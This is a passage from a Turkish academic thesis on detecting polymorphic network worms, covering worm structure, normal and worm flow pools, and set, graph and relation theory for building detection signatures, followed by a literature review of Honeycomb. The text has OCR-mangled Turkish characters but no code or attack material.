olarak kullanilan teknik, sifreleme teknigidir.

Polimorfik yazilim, her kopyada yeniden kanstirilmig sifre ¢6zme
programindan c¢alismaya baslamaktadir. Solucan kopyalarinda sifre ¢ozme
programinin ne kadar farklilastigi, kullanilan yazilim karistirma teknigine bagl
olarak degisiklik gosterebilmektedir. Etkin olmayan bir yazilim karistirici, farklh
solucan kopyalarinda degismeyen biiyiik parcalar iiretebilir. Ote yandan basarili bir
yazilim karigtirici, en az seviyede ortak parcaya sahip tamamen farkli ¢iktilar
tiretebilir. Polimorfik yazilimlarin tespitinde, yazilim karistiricilarin zayifliklarindan
kaynaklanan imza parcalar1 bulmak miimkiindiir. Yazilim karistiricilarin zayifliklar
ve Ozelliklerinden faydalanarak zararli yazilimlar tespit edecek sistemler 6nerilmistir
([31]-[37]). Bunun yaninda, yazilim karistiricilarin ideal ¢iktilar {irettigi varsayimiyla
tespit ¢alismalar1 yapmak daha sagliklidir. Pratikte var olan yazilim karistiricilarin
kullanildig1 polimorfik yazilimlar i¢in bu sayede daha kaliteli tespit imzalarinin

olusturulacag agiktir.

2.3 Polimorfik Solucan Yapisi

Sifreleme, polimorfik kod olusturmak icin kullanilan en yaygin yontemdir.
Onceden de bahsedildigi gibi tiim solucan kodunun sifrelenmesi miimkiin degildir.
Solucan kodunun c¢alisabilmesi icin degismeden birakilmasi gereken pargalar
mevcuttur. Bu degismeyen pargalar genel olarak polimorfik kodun sifresini ¢6zmek
icin kullanilacak karistirilmis sifre ¢6zme programina yonlendirmek i¢in kullanilan

aciklik bilgisidir.
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Tipik bir polimorfik solucanin mantiksal yapis1 Sekil 2.1°de gosterildigi tizere
dort boliimden olusmaktadir. Bunlar; sifre ¢6zme programi, sifre ¢ézme anahtari,

sifrelenmis solucan programi ve agiklik kullanma boliimleridir.

Ag Protokol Yapist
Sifre Cozme Sifre Cozme Sifrelenmis
Programi Anahtari " | Solucan Programi Agiklik Kodu

Sekil 2.1, Polimorfik Solucan Mantiksal Yapisi.

Polimorfik solucan oncelikle ilgili agiklik sayesinde bulagacagi sistem iizerinde
sifre ¢6zme anahtarini ve sifre ¢dzme programimi kullanarak sifrelenmis solucan
programin1 ¢ozmelidir. Her yeni polimorfik solucan 6rneginde farkli bir sifreleme
anahtar1 kullanilmaktadir. Bu bilgiler 1s18inda sifre ¢6zme anahtar1 ve sifrelenmis
solucan programi kisimlarinin her Ornekte farkli olacagr aciktir. Karistirma
yontemleri kullanilarak sifre ¢ozme programi da her solucan Orneginde farkli
gorlinecek sekilde olusturulabilmektedir. Bu durumda solucanin yapisinda
degismeden kalan tek parca olarak agiklik bilgisi bulunmaktadir. Mantiksal yap1 bu
sekilde olsa da, kullanilan protokol ve paket bilgilerinin incelenmesi durumunda her
solucan Orneginde aymi olan baska parcalar da bulunabilmektedir. Bu bilgiler

kullanilarak imza olusturulmasi miimkiindiir.

ADMmutate [38] ve Clet [39], kullanima hazir polimorfik kod motorlaridir. Bu
yazilimlar sayesinde istenilen bir kod sifrelenip karistirilmis sifre ¢6zme programi ve
sifre ¢ozme anahtar1 da eklenebilmektedir. Uretilen her drnekte farkli bir sifreleme
anahtar1 kullanilmakta ve sifre ¢ozme programi da karistirilmaktadir. Yapilan
calismalar [40] gostermistir ki Clet, ADMmutate’e gore degismeyen parcast daha az
olan oOrnekler {tretmektedir. Bu polimorfik kod motorlart bir¢ok polimorfik
tehdit(solucan, viriis) tarafindan kullanilmistir. Bu iki polimorfik kod motoru da
karistirma teknigindeki eksikliklerden otiiri farkli 6rnekler arasinda degismeyen
parcalar iiretebilmektedir. Pratik olarak heniliz gerceklesmis olmamasina karsin

kusursuz yazilim karigtirmanin yapildigr varsayimiyla polimorfik solucanlara karsi
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en kotii durumda bile bir savunma mekanizmasi gelistirilmesinin hedeflenmesi dogru

olacaktir.

2.4 Akis Havuzlan

Zararl yazilim tespiti i¢in igerik tabanli olarak gelistirilecek imza yapilari, 6n
taniml1 akis havuzlarina ihtiya¢ duyarlar. Akis, belirli bir ag protokolii, ag hizmeti,
port numarast vb. kriter ile yakalanmis ag paketi olarak tanimlanir. Polimorfik
solucan saldirilarinin tespiti i¢in gelistirilecek imza yapilari, 6n tanimli “Normal Akis

Havuzu” ve “Solucan Akis Havuzu” kullanirlar.

2.4.1 Normal Akis Havuzu

Normal Akis Havuzu igerisinde, incelenen polimorfik solucanin hedef aldig1 ag
protokolil ve ag uygulamasinin solucan barindirmayan akislart bulunur. Bu akislar,
solucan barindirmamakla birlikte solucan kopyalar icerisinde degismez olarak
bulunan karakter katarlarini icerebilir. Bunun sebebi, solucani tanimlamak icin
kullanilan baz1 karakter katarlarinin normal akislar igerisinde de islevinin
bulunmasidir. Normal Akis Havuzu, gelistirilen imza yapisinin yanlis-pozitif karar
performansini 6lgmek ve solucani tanimlayacak karakter katarlarinin skorlarini
hesaplamak i¢in kullanilabilir. Yanlig-pozitif karar, solucan olmayan bir akisin
solucan olarak tespit edildigi yanlis karar durumudur. Bu karar ile normalde agdan
akisina izin verilmesi gereken gegerli bir akis saldir1 olarak algilanarak kesintiye
ugratilir ve sistem kullanicilarin aldigi hizmet kalitesini diigiiriir. Normal Akis

Havuzu genel yapis1 Sekil 2.2°de gosterilmistir.
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Normal Akis #1 .. ¥ SKK | * SKK 5 .*...
Normal Akis #2 R
Normal Akis #N ... *SKK , .* SKK 5 .*... .* SKK ;| .* ...

(’)SKKJ: Normal akis havuzu igerisinde bulunan Solucan Karakter Katar1 i

Sekil 2.2, Normal Akis Havuzu Yapist.

2.4.2 Solucan Akis Havuzu

Solucan Akis Havuzu igerisinde ise incelenen polimorfik solucanin kopyalar
bulunmaktadir. Bu kopya akislar, polimorfik yap1 geregi birbirinden farkl
goriintiidedir. Tiim solucan kopyalarini temsil eden tek bir kesintisiz karakter katari
tanimlamak miimkiin degildir. Bu sebepledir ki polimorfik solucanlarin tespitinde
basit Oriintii eslestirme teknikleri iyi sonu¢ vermemektedir. Polimorfik solucan kopya
akislari, solucan kopyalar1 igerisinde degismez olarak bulunan karakter katarlari
(Solucan Karakter Katar1: SKK) yardimiyla ortak bir oriintii ile temsil edilebilirler.
Bu SKK’ler arasinda gecen veri, sonuca etki etmeyen rastgele veri olarak
goriildiigiinde, polimorfik solucan kopyalari i¢in SKK’ler cinsinden ortak bir
polimorfik solucan akisi kurali olusturulabilir. SKK’ler hem Normal Akis Havuzu
icerisinde hem de Solucan Akis Havuzu igerisinde bulunabilir. iki akis havuzu
arasindaki fark, Normal Akis Havuzu igerisindeki akiglarda SKK bulunma
zorunlulugu yokken ortak islevler geregi bulunabilmesi, Solucan Akis Havuzu
icerisinde ise tanmimlanan kurala uygun sekilde SKK’lerin mutlaka bulunmasi
gerekliligidir. Solucan Akis Havuzu, gelistirilen imza yapisinin yanlis-negatif karar
performansin1 6lgmek ve solucani tanimlayacak karakter katarlarmin skorlarini
hesaplamak i¢in kullanilabilir. Yanlig-negatif karar, solucan olan bir akisin normal
akig olarak tespit edildigi yanlis karar durumudur. Bu karar ile normalde agdan

akisina izin verilmemesi gereken solucan akisi, normal akis olarak algilanarak sistem
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giivenligi tehlikeye atilmis olmaktadir. Solucan Akis Havuzu genel yapisi Sekil
2.3‘de gosterilmistir.

Solucan Akist #1 #SKK ") * SKK 5 .*... * SKK ,.*
Solucan Akist #2 #SKK .* SKK , *... . * SKK ,.*
Solucan Akis1 #N J#SKK 1.* SKK 5 *... % SKK .. *

(')SKK_i: Solucan Karakter Katari i

Sekil 2.3, Solucan Akis Havuzu Yapist.

2.5 Polimorfik Solucan Tespit Calismalarinda Matematik

Temeller

Ayrik matematik, hemen hemen akla gelen tiim arastirma konularinda
uygulama alan1 bulmaktadir. Bilgisayar bilimi uygulamalarina ek olarak kimya,
botanik bilimi, dil bilimi vb. birgok alanda uygulamalar1 olan genis kapsamli bir
konudur. Ayrik matematik kavramlar1 kullanilarak problemleri modellemek ve
¢Oziim Onerilerini bu dilde ifade etmek, algoritma tanimlama, karmasiklik analizi,
yapisal analiz ve tanmimlar gibi bircok konuda avantajlar ve kolayliklar

getirmektedir[41].

Bu béliimde, polimorfik solucanlarin tespit edilmesi probleminin ¢oziimiinde
fayda saglayacak ayrik matematik uygulamalari hakkinda bilgi verilmistir.
Kiimelerin ag akislar1 ve imza yapilarini ifade etmek ic¢in kullanimi1 hakkinda
aciklama Boliim 2.5.1°de verilmistir. Cizge (graph) yapilarinin problem sahasindaki
kullanim alanlar1 Boliim 2.5.2°de agiklanmistir. Kiimeler lizerinde tanimlanabilecek

bagintilarin kullanimiyla ilgili bilgi Boliim 2.5.3‘de verilmistir.
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2.5.1 Kiimeler

Kiimeler, sonlu ya da sonsuz sayida objeler toplulugu olarak tanimlanmaktadir.
Kiime igerisindeki objeler, o kiimenin elemanlar1 ya da iiyeleri olarak adlandirilir ve
kiime bu elemanlar1 igerir. Bir a objesi, A kiimesinin elemani ise a € A, elemani
degil ise a € A notasyonu ile gosterilir. Kiime elemanlarinin sayis1 konusunda bir
kisitlama olmamasina karsilik herhangi bir kiime tanimi ile o kiimenin sonlu ya da
sonsuz elemana sahip oldugu konusunda karar verilebilmelidir. Herhangi bir iiyesi

olmayan kiime bos kiime olarak adlandirilir ve @ isareti ile ifade edilir.

Polimorfik solucan tespit probleminde kiime kavrami, Solucan Karakter Katar1
(SKK), imza tanimlari, ag akis tanimlar1 ya da tespit yontemi tanimlar1 yapilirken
kullanilabilir. Bu tanimlar yapilirken asagida agiklanan kiime o&zelliklerinin ve

kiimeler {izerindeki islemlerin bilinmesi faydalidir.

Tamim 2.1 — Alt Kiime Kavrami: A kiimesinin her elemani ayni zamanda B
kiimesinin de elemani ise A kiimesi, B kiimesinin bir alt kiimesidir ya da B kiimesi A
kiimesini kapsar denir ve A S B notasyonu ile gosterilir. Bunun yaninda A S B ise
ve iki kiime esit degil ise A kiimesi, B kiimesinin bir tam alt kiimesidir ve A C B

notasyonu ile gosterilir.

Polimorfik solucan yapisinda tespit edilen SKK’lerin tiimiinii i¢eren bir V;
kiimesi tammlansin. Imza yapilari, V; kiimesi {izerinde tanimlanabilecegi gibi

V, c V; tam alt kiimesi {izerinde de tanimlanabilir.

Tanim 2.2 — Kiimelerin Kartezyen Carpimi: A ve B iki kiime olsun. A ve B
kiimelerinin kartezyen ¢arpimi A X B seklinde gosterilir ve a € A, b € B olmak
tizere tiim (a, b) swall ikililerini iceren kiime olarak tammlanwr. Bagska bir deyisle,
AxB=1{(a,b)|a€A A\ b€ B} olarak ifade edilebilir. Bir kiimenin kendisiyle

kartezyen carpimi, elemanlarinin tiim sirali ikililerini iceren kiimeyi olusturur.
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Ag akislar1 degerlendirilirken SKK’ler yerine bunlarin birbirleriyle
olusturduklar1 ikili oriintiiler ya da akis cizgesi igerisinde olusturduklar1 kenarlar
kullanilabilir. Polimorfik solucan yapisinda tespit edilen SKK’lerin tiimiinii igeren
bir V kiimesi tanimlansin. SKK’lerin tiim ikili oriintiileri, E; =V X V kartezyen
carpimi sonucunda elde edilir. Imza yapilar1 E; kiimesi ya da E, c E; tam alt

kiimesi Uizerinde tanimlanabilir.

Tanim 2.3 — Kiimelerin Birlesimi: A ve B iki kiime olsun. A ve B kiimelerinin
birlegsimi, AU B seklinde gosterilir ve sadece A kiimesinde, sadece B kiimesinde ya
da her ikisinde birden bulunan tiim elemanlari icerir. Birden fazla kiimenin birlesimi

de benzer olarak, birlesen kiimelerin tiim elemanlarini tekrar etmeksizin icerir.

SKK kiimesinin ya da bir tam alt kiimesinin birden fazla SKK’nin sirali ya da
strasiz Oriintiilerini iceren kiimeler ile birlesimi, polimorfik solucan imza yapisi

tanimlarinda kullanilabilir.

Tanim 2.4 — Kiimelerin Farki: A ve B iki kiime olsun. A ve B kiimelerinin farka,
A—B ya da A\ B seklinde gosterilir ve A kiimesinde bulunup B kiimesinde

bulunmayan elemanlart igerir.

Polimorfik solucan imza yapisi ya da tespit yontemi tanimlanirken, belirli bir
kritere gore seg¢ilmis alt kiimelerin disinda kalan elemanlar {izerinden yeni yapilar

tanimlamak iizere kiimeler tizerinde fark isleminden faydalanilabilir.

2.5.2 Cizgeler

Polimorfik solucan tespit calismalarinda cizgeler, solucan akiglari, normal
akiglar ve de imza yapilarinmi ifade etmek amaciyla kullanilabilir. Cizgeler, diigiim
ismi verilen noktalar ve bu noktalar1 birbirine ya da kendisine baglayan ve kenar ismi
verilen ¢izgiler biitiiniidiir. Bu boliimde, polimorfik solucan tespit ¢aligmalarinda

faydali olacak ¢izge terminolojisi ve uygulama alanlar1 hakkinda bilgi verilmistir.
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Tanim 2.5 — Basit Cizge: Bir basit ¢izge G = (V,E), bos kiime olmayan bir
diigiim kiimesi V, ve V ’nin elemanlarimin kenar ismi verilen sirasiz ikililerinden
olusan E kiimesiyle tanmimlanir. Basit ¢izge igerisinde herhangi bir kenar, ayni iki

diigtimii birbirine baglamaz. Sekil 2.4 de bir basit ¢izge ornegi verilmistir.

Sekil 2.4, Basit Cizge Ornegi.

Tanim 2.6 — Sozde Cizge (Yonsiiz Cizge): Bir sozde ¢izge G = (V, E), bos kiime
olmayan bir diigiim kiimesi V, yonsiiz kenarlardan olusan bir kenar kiimesi E ve E
kiimesinden {{u,v}|u,v € V}'ye tamimlanmis bir [ fonksiyonu ile tammlanir. Her
hangi bir diigiim u icin f(e) = {u} ise, e kenart u diigiimii iizerinde yonsiiz ¢evrim

olusturur. Sekil 2.5 de bir yonsiiz ¢izge ornegi verilmistir.

Sekil 2.5, Yonsiiz Cizge Ornegi.

Tamm 2.7 — Yonlii Cizge: Bir yonlii ¢izge G = (V,E), bos kiime olmayan bir
diigiim kiimesi V, ve V 'nin elemanlaruin sirali ikililerinden olusan kenarlar kiimesi
E ile tammlanir. Her hangi bir diigiim u icin f(e) = {u} ise, e kenart u diigiimii

tizerinde yonlii ¢evrim olugturur. Sekil 2.6 da bir yonlii ¢izge ornegi verilmistir.
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Sekil 2.6, Yonlii Cizge Ornegi.

Tanim 2.8 — Yonlii Cevrimsiz Cizge: Bir yonlii ¢cevrimsiz ¢izge G = (V, E), bos
kiime olmayan bir diigiim kiimesi V, ve V 'nin elemanlarimin sirali ikililerinden
olusan kenarlar kiimesi E ile tamimlanir. Her hangi bir diigiim u i¢in f(e) = {u}
olacak sekilde ¢evrim bulunmaz. Sekil 2.7’de bir yénlii ¢evrimsiz ¢izge ornegi

verilmistir.

Sekil 2.7, Yénlii Cevrimsiz Cizge Ornegi.

Solucan Akis Havuzu igerisinde bulunan polimorfik solucan kopyalari,
kesfedilen SKK € V (Solucan Karakter Katari)’ler cinsinden ortak bir Oriintiiye
sahiptir. Bu oriintii, bir solucan akis ¢izgesi W ile ifade edilebilir. W ¢izgesinin
diigiim kiimesi, kesfedilen SKK kiimesi V/’nin elemanlarindan olusur. W ¢izgesinin
kenar kiimesi E, Oriintiiniin ilk diiglimiinden baglayarak son diigiimiine kadar her
diigiimii kendisinden bir sonraki diiglime baglayan kenarlardan olusur. W, ¢oklu
kenar igermeyen, yonlii ¢evrimsiz cizgedir. Sekil 2.8’de ii¢c SKK igeren bir V
kiimesinin elemanlar1 cinsinden ifade edilmis 6rnek bir polimorfik solucan akig

cizgesi W gosterilmistir.
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* 4 & 4 & b &
Wy W Wy Wy
(SKK;) (SKK;) (SKK;) (SKK)

Sekil 2.8, Polimorfik Solucan Akis Cizgesi Ornegi — 1.

Aym iki diiglim arasinda birden fazla (paralel) kenar iceren coklu cizgeler,
problem sahasinda uygulama alanlar1 olmadig: i¢in kapsam dis1 birakilmigstir. Basit
cizgeler, yonsiiz cizgeler, yonli ¢izgeler ve yonlii ¢evrimsiz ¢izgeler, polimorfik
solucan imza yapilar1 ve tespit yontemleri tanimlanirken genis uygulama alam
bulmaktadir. Boliim 3’de onerilen polimorfik solucan tespit yapilarinda bu ¢izge
tiplerinden ve SKK’leri igeren kiimeler iizerinde Bolim 2.5.3.2°de tanimlanan

bagintilardan faydalanilmigtir.

2.5.3 Bagintilar

Bagintilar, ayrik matematikte cok genis uygulama alani olan bir kavramdr. ki
kiimeyi iliskilendirmek icin bagintilardan faydalanilir. Kiimelerin elemanlarinin
birbirleriyle olan iliskisi, baginti tanimlari ile ifade edilebilir. B6liim 2.5.3.1°de genel
baginti tanimi ve oOzellikleri verilmistir. Polimorfik solucan tespit calismalarinda
kullanilabilecek bagintilar Béliim 2.5.3.2°de tanitilmistir. Ozel bir bagint1 tipi olan
fonksiyonlar, polimorfik solucan tespitindeki kullanim alanlartyla birlikte Bolim

2.5.3.3’de incelenmistir.

2.5.3.1 Baginti Tanim ve Ozellikleri

Tamim 2.9 — Ikili Baginti: A ve B iki kiime olsun. A kiimesinden B kiimesine
tammlanacak bir ikili baginti, iki kiimenin kartezyen ¢arpimi A X B’nin bir alt
kiimesidir. Bir A kiimesi tizerinde ikili baginti, A X A kartezyen ¢arpinmimin bir alt

kiimesidir.

Bagka bir deyisle, A kiimesinden B kiimesine tanimli bir ikili baginti, ilk

elemant a € A, A kiimesinden gelen, ikinci eleman1 b € B, B kiimesinden gelen sirali



23

ikilileri iceren R kiimesiyle tanimlanir. a R b notasyonu, (a,b) € R sirali ikilisini

temsil eder.

Tamm 2.10 — Baginti Ozellikleri: Bagintilarin yansiyan (reflexive), simetrik
(symmetric), ters simetrik (antisymmetric), ve gecislilik (transitive) ozellikleri

asagida agiklandig gibidir:

A kiimesi tlizerinde tanimlanmis bir R bagintis1 olsun.

Her a € A elemani i¢in (a, @) € R ise, R bagintis1 yansiyandir.

a €A ve b €A olmak iizere (a,b) € R olan tiim siral ikilileri i¢in ayni
zamanda (b, a) € R ise, R bagintis1 simetriktir.

a € A ve b € A olmak tizere (a, b) € R olan tiim sirali ikilileri i¢in (b,a) € R
sadece a = b durumunda dogru ise, R bagintisi antisimetriktir.

a €A, b € Avec € A olmak iizere tiim (a,b) € R ve (b,c) € R sirali ikilileri

icin (a, ¢) € R dogru ise, R bagmtis1 gecislidir.

Baginti tanimi ve Ozellikleri, polimorfik solucan imza yapilar1 ve tespit

yontemi tanimlarinda kullanilmaktadir.

2.5.3.2 Polimorfik Solucan Tespitinde Kullanilabilecek Baginti

Tanimlanr

Solucan Akis Havuzu igerisinde bulunan solucan kopyalarinda ortak olarak
bulunan SKK’lerin bulundugu bir V kiimesi tanimlansmn. Oyle ki 1 <i<n ve n

kesfedilen SKK’lerin sayis1 iken SKK; € V olsun.

Tanim 2.11 — Tiim SKK Ikilileri Bagintisi: R, V kiimesi iizerinde tanimlanmug
bir baginti  olsun. (SKK;,SKK;) €V XV ise (SKK;,SKK;) € R bi¢iminde

tamimlanan R bagintisi, tiim SKK ikililerini iceren kiimeyi tanimlar.
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Tiim SKK ikililerini igeren kiime ya da bunun bir alt kiimesi, SKKlerin ikili
iligkilerinden faydalanan polimorfik solucan imza yapilarini tanimlarken kullanilir.

Sekil 2.9°da, dort SKK igeren bir kiime i¢in tiim SKK ikilileri gosterilmistir.

SKK, SKK,
SKK, SKK,
SKK, SKK,
SKK, SKK,

Sekil 2.9, Tiim SKK ikilileri.

Ornekteki tiim SKK ikilileri yonsiiz ¢izgesi Sekil 2.10°da verilmistir.

Sekil 2.10, Tiim SKK Iikilileri Yénsiiz Cizgesi.

Solucan Akis Havuzu igerisinde bulunan solucan kopyalarinda ortak olarak
bulunan SKK’lerin bulundugu bir V kiimesi tanimlansin. Oyle ki 1<i<n ve n
kesfedilen SKK’lerin sayis1 iken SKK; € V olsun. Solucan Akis Havuzu igerisinde
bulunan solucan kopyalarinin tiimiinii temsil eden Oriintli, SKK’ler cinsinden ifade
edilebilir. Polimorfik solucan driintiisii, solucan akis ¢izgesi W ile gosterilsin. Oyle
kiw; €V, 1<i<p vep solucan oOriintiisiindeki SKK’lerin sayis1 iken w; € W
olsun. Sekil 2.11°de dort SKK igeren bir V' kiimesinin elemanlar1 cinsinden ifade

edilmis 6rnek bir polimorfik solucan akisi yonlii cevrimsiz ¢izgesi W gosterilmistir.
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L 4 & 4 & 4 L ]
Wy W Wy Wy W
(SKK,) (SKK,) (SKKz) (SKK;) (SKKy)

Sekil 2.11, Polimorfik Solucan Akis Cizgesi Ornegi — 2.

Siralanmig elemanlara sahip kiimeler, sira bagintilar1 ile ifade edilirler. Sira
bagintisi, mutlaka karsilagtirilabilir sayisal degerlere sahip eleman degerleri tizerinde
tanimlanmak zorunda degildir. Sira kurali, genel olarak bir elemanin diger
elemandan oOnce gelmesi mantigina dayanir. Bir sozlikte a kelimesinin b
kelimesinden dnce gelmesi, pozitif tam sayilar kiimesinde 3 sayisinin 4 sayisindan

once gelmesi gibi.

Polimorfik solucanlarin tespit edilmesi ¢alismalarinda, asagida tanimlanan sira

bagintilarindan faydalanilabilir.

Tanim 2.12 — Pargali Sira Bagntisi: A kiimesi iizerinde tamimlanmis R
bagintisi, Boliim 2.5.3.1, Tamim 2.10°da tamimlandigi sekilde 1)Yansiyan,

2)Antisimetrik, 3)Gegisli ozelliklerini tasiyorsa parc¢ali sira bagintisidir.

Tamim 2.13 — Sirali Solucan Akisi Bagintisi: R, solucan akis ¢izgesi kiimesi W
lizerinde tamimlanmis bir baginti olsun. w; € W ve w; € W olmak iizere (w;, w;)
sirali ikilisi, her j > i i¢in R bagintisinin elemanidir. R bagintisinin ¢izgesi, solucan
akis c¢izgesinin her elemanindan kendinden sonraki elemanlara bir yol igeren
cizgedir. R bagintisi, antisimetrik ve gegisli 6zelliktedir fakat yansiyan olmadig igin

parc¢ali sira bagintisi degildir.

Tanim 2.13 ile verilen Sirali Solucan Akisi bagintisi, Sekil 2.11°de verilen
ornek polimorfik solucan akisi ¢izgesi iizerinde uygulanirsa, Sekil 2.12°de verilen
yonlii ¢cevrimsiz solucan akis bagintisi ¢izgesi elde edilir. Tanimlanan baginti ile elde
edilen kiimenin bir alt kiimesi, solucan akis c¢izgesinin ilk elemanindan son

elemanina kadar birbiriyle en giiglii sekilde iliskili olan, solucan tespitinde en ayirt
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edici 6zellikte olan yolu temsil eder. Bu yol iizerindeki SKKler, solucan tespiti i¢in

kullanilabilir.
Wy W Wy Wy W
(SKEK; ) (SKK,) (SKKz) (SKKy) (SKKy)

Sekil 2.12, Solucan Akis Bagintis1 Cizgesi Ornegi.

2.5.3.3 Fonksiyonlar

Bir A kiimesinden B kiimesine tanimlanmis f fonksiyonu, A kiimesinin her bir
elemanmni B kiimesinin tekil bir elemanina eslestirir. a € A, b € B ve b = f(a)
olacak sekilde tiim (a, b) sirali ikilileri A X B kartezyen ¢arpiminin bir alt kiimesidir.
Bagka bir deyisle f fonksiyonu, A kiimesinden B kiimesine tanimlanmis bir

bagintidir.

Tanim 2.14 — Fonksiyon Kavrami: A ve B iki kiime olsun. f fonksiyonu, A
kiimesinden B kiimesine tanimlanmis ise f: A = B ile gosterilir ve A kiimesinin her
bir elemanina B kiimesinin bir elemanini eslestiren atamadir. A kiimesinin a
elemanina f fonksiyonu ile atanan B kiimesi elemani b ise, f(a) = b notasyonu ile

gosterilir. Her bir a € A i¢in f(a) = b olacak sekilde tek bir b € B elemani vardur.

Kiimeler iizerinde tanimlanan fonksiyonlar, SKK skorlarinin hesaplanmasi,
iliskilendirilmis SKK’ler i¢in skorlarin hesaplanmasi, akislar igin skorlarin

hesaplanmas1 vb. amagla kullanilabilir.
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Tanim 2.15 — Bire-bir(Injektif) Fonksiyon: Bir f fonksiyonu icin eger f(x) =
f(y) esitligi, [ etki alamindaki tiim x ve y degerleri icin x =7y durumunu

gerektiriyorsa f fonksiyonu bire-bir ya da injektif ozelliktedir.

Tamim 2.16 —  Orten(Surjektif) ~ Fonksiyon: Bir f:A— B  fonksiyonu
tammlansin. Eger B kiimesinin her elemant b € B i¢in f(a) = b olacak sekilde bir

a € A elemani bulunuyorsa, f fonksiyonu orten ya da surjektif 6zelliktedir.

Polimorfik solucanlar, zaman igerisinde SKK’leri degistirilerek yeni siiriimleri
ile yayilir. Bilinen solucan siiriimleri i¢in koruma tedbirlerinin yayginlasmasi,
sistemlerin tanimadigr bu yeni solucan siirlimlerinin iiretilmesini tetikler. Bilinen
solucan siirliimiiniin barindirdigi SKK’lerin yenileriyle degistirilmesi sonucu olusan
yeni siirlim, eski slirlimiin bir izomorfik kopyasidir. B6liim 2.6’da detaylandirilan
izomorfizm i¢in, iki kiime lizerinde gecis yapan fonksiyonun bire-bir ve oOrten

oldugunun gosterilmesi gereklidir.
2.6 Polimorfik Solucan Cizgelerinde Izomorfizm

Zararli yazilim gelistiricileri, zaman igerisinde sistemler belirli bir siiriim
zararlt yazilima kars1 tedbirleri uygulamaya gecirdikten sonra yeni siirlim zararl
yazilimlar ile sistemlere zarar vermeye devam etmeyi amagclarlar. Polimorfik
solucanin faydalandig1 agiklik kodu ya da ag protokolii komutlarin1 degistirmek
kaydiyla olusturulan yeni siirlim solucanlarda Solucan Karakter Katarlar1 (SKK)
kiimesinden bazi elemanlar yenileriyle degistirilmis olur. Yeni siirim polimorfik
solucan akisinin yonlii gevrimsiz ¢izgesi, orijinal siiriim polimorfik solucan akiginin

yonlii cevrimsiz ¢izgesinin izomorfik kopyasi olur.

Bu boliimde, ¢izgeler arasi izomorfizm 6zelligi ve polimorfik solucan tespit

calismalarindaki uygulamalar1 hakkinda bilgi verilmistir.

Tamim 2.17 — Cizgeler Arasi Izomorfizm: Gy = (V1,E;) ve G, = (V5, E,)

cizgeleri tamimlanmuis olsun. V, diigiim kiimesinden V, diigiim kiimesine bire-bir ve
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orten ozellikte f fonksiyonu tammlansin. G, ¢izgesinde bagh olan (kenar olusturan)
her a,b € V; icin, f(a), f(b) €V, ikilisi G, ¢izgesinde bagli ise, G, ve G, cizgeleri
izomorfiktir. Bu iliskiyi tamimlayan f fonksiyonu ise bir izomorfizmdir. Baska bir
deyisle, iki ¢izge arasinda diigiimlerin yonlii ya da yénsiiz baglanti iligkilerini
koruyan bire-bir ve orten bir [ fonksiyonu tamimlanabiliyorsa, bu iki c¢izge

izomorfiktir.

Sekil 2.13’de verilen W yonlii ¢evrimsiz polimorfik solucan akis cizgesini ele

alalim.
* 14 & 14 & 14 & 4 &
Wy W W Wy W
(SKK, ) (SKK;) (SKKz) (SKKy) (SKKy)

Sekil 2.13, Polimorfik Solucan Akis Cizgesi Ornegi — 3.

W ile tanimlanan bir polimorfik solucanin yeni siiriimiinde, SKK; solucan

karakter katari, SKK)¢p; 3 ile degistirilmig olsun. Yeni solucanin yonlii ¢evrimsiz

akis cizgesi YW, Sekil 2.14°de verilmistir.

L 4 & 4 & 4 * 4 L ]
vy Mo Wz vy -
(SKK,) (SKK,) (SKKyeni z) (SKKE;) (SKKy)

Sekil 2.14, Yeni Siiriim Polimorfik Solucan Akis Cizgesi Ornegi — 1.

W = (V1,E;) ve YW = (V,, E;) cizgeleri izomorfiktir. izomorfizm fonksiyonu

f, asagidaki gibi tanimlanir.

p, polimorfik solucan akislari igerisindeki SKK’lerin sayist olsun. 1 <i <p

igin, f(v; €V;) =v; EVyegeri # 3 ve f(v; €V;) = SKKypp; 3 €V, e8eri = 3.
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2.7 Literatiir Analizi

Solucan tespiti ag tabanli veya sistem tabanli yapilabilmektedir. Ag tabanh
teknikler([40], [42], [51]) solucan heniiz son sisteme ulagsmadan uygulanmaktadir.
Sistem tabanli teknikler([46], [48], [49], [50], [52]) ise solucanin bulagsmas1 beklenen

son sistemler lizerinde uygulanmaktadir.

2.7.1 Solucan Tespit Calismalari

Honeycomb[43], ag trafiginin farkli ag protokolleri katmanlarinda ag protokolii
uygunluk kontrolleri ve oOriintii eslestirme tekniklerinden faydalanarak saldir1 tespit
sistemleri i¢in otomatik imza olusturan bir sistemdir. Bu otomatik imza olusturma
Ozelliginin saglanmadigi durumlarda, trafik analizi yetenegine sahip bir bilgi
giivenligi uzmani tarafindan muhtemelen ¢ok daha fazla zaman alacak sekilde bir
paket analizi yapilmasi gereklidir. Honeycomb bu ihtiyaci ortadan kaldirmay1

hedeflemektedir.

Honeycomb, ag iizerinden gelen saldirilar i¢in otomatik imzalar olusturmaya
odaklanmugtir. Imzalarin bilgi giivenligi uzmanlar1 tarafindan elle olusturulmasi
durumunda, saldirilarin kullandiklart acgikliklar hakkinda detayli bilgiye ihtiyag
vardir ve paketlerin analizi ge¢ sayilacak derecede zaman alabilmektedir. Basit imza
yapilar1 fazla sayida yanlig-pozitif sonuca sebebiyet verirken daha siki kurallarla
tanimlanmis imza yapilar1 ise esneklikleri bulunmadigi i¢in yanlig-negatif sonuglara

sebebiyet verebilmektedir.

Uzerinde analiz yapilacak ag paketleri, balkiipii (honeypot) sistemleri ile
yakalanmaktadir. Balkiipii sistemleri, saldirganlara tuzak olarak aga yerlestirilen ve
saldirt tekniklerini 6grenmek i¢in kullanilirlar. Bu sebeple balkiipleri saldirgan
akiglarmin toplanmasi i¢in olduk¢a uygun yapilardir. Balkiipii ile yakalanan saldir
paketleri, IP, TCP ve UDP paket basliklar1 ve igerik (payload) seviyesinde
incelenmektedir ve yapilan testler sonucunda bu yaklagimin otomatik saldir1 tespit

imzalar1 olusturmak i¢in tutarl bir yontem oldugu sonucuna varmislardir.
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Honeycomb, oriintii eslestirme i¢in karakter katar1 tabanli eslestirme
algoritmalarindan faydalanmaktadir. En Uzun Ortak Karakter Katar1 (EUOKK) —
Longest Common Substring (LCS) algoritmast kullanilarak paket igerikleri analiz
edilmektedir. EUOKK algoritmasi, yakalanan ag akislari {izerinde yatay ya da dikey
analiz yapmak iizere yapilandirilabilmektedir. Yatay analiz sirasinda, ag akisini
olusturan ve saldirgan tarafindan ayni hedef kapiya gonderilen ayni seviyedeki
mesajlar arasindan en uzun olani, EUOKK algoritmasinin girdisi olarak

kullanilmaktadir. Bu durum Sekil 2.15°de gosterilmistir.

Ezglant A Ezglmt B
